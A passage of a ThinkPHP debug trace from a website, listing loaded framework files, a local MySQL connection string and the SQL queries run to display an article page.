  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000906s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001793s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000729s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.001534s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001735s ]
  6. SELECT * FROM `set` [ RunTime:0.001647s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001854s ]
  8. SELECT * FROM `article` WHERE `id` = 474905 LIMIT 1 [ RunTime:0.021574s ]
  9. UPDATE `article` SET `lasttime` = 1770759040 WHERE `id` = 474905 [ RunTime:0.006210s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 67 LIMIT 1 [ RunTime:0.004563s ]
  11. SELECT * FROM `article` WHERE `id` < 474905 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.016862s ]
  12. SELECT * FROM `article` WHERE `id` > 474905 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.012142s ]
  13. SELECT * FROM `article` WHERE `id` < 474905 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.032993s ]
  14. SELECT * FROM `article` WHERE `id` < 474905 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.055808s ]
  15. SELECT * FROM `article` WHERE `id` < 474905 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.079467s ]
0.334539s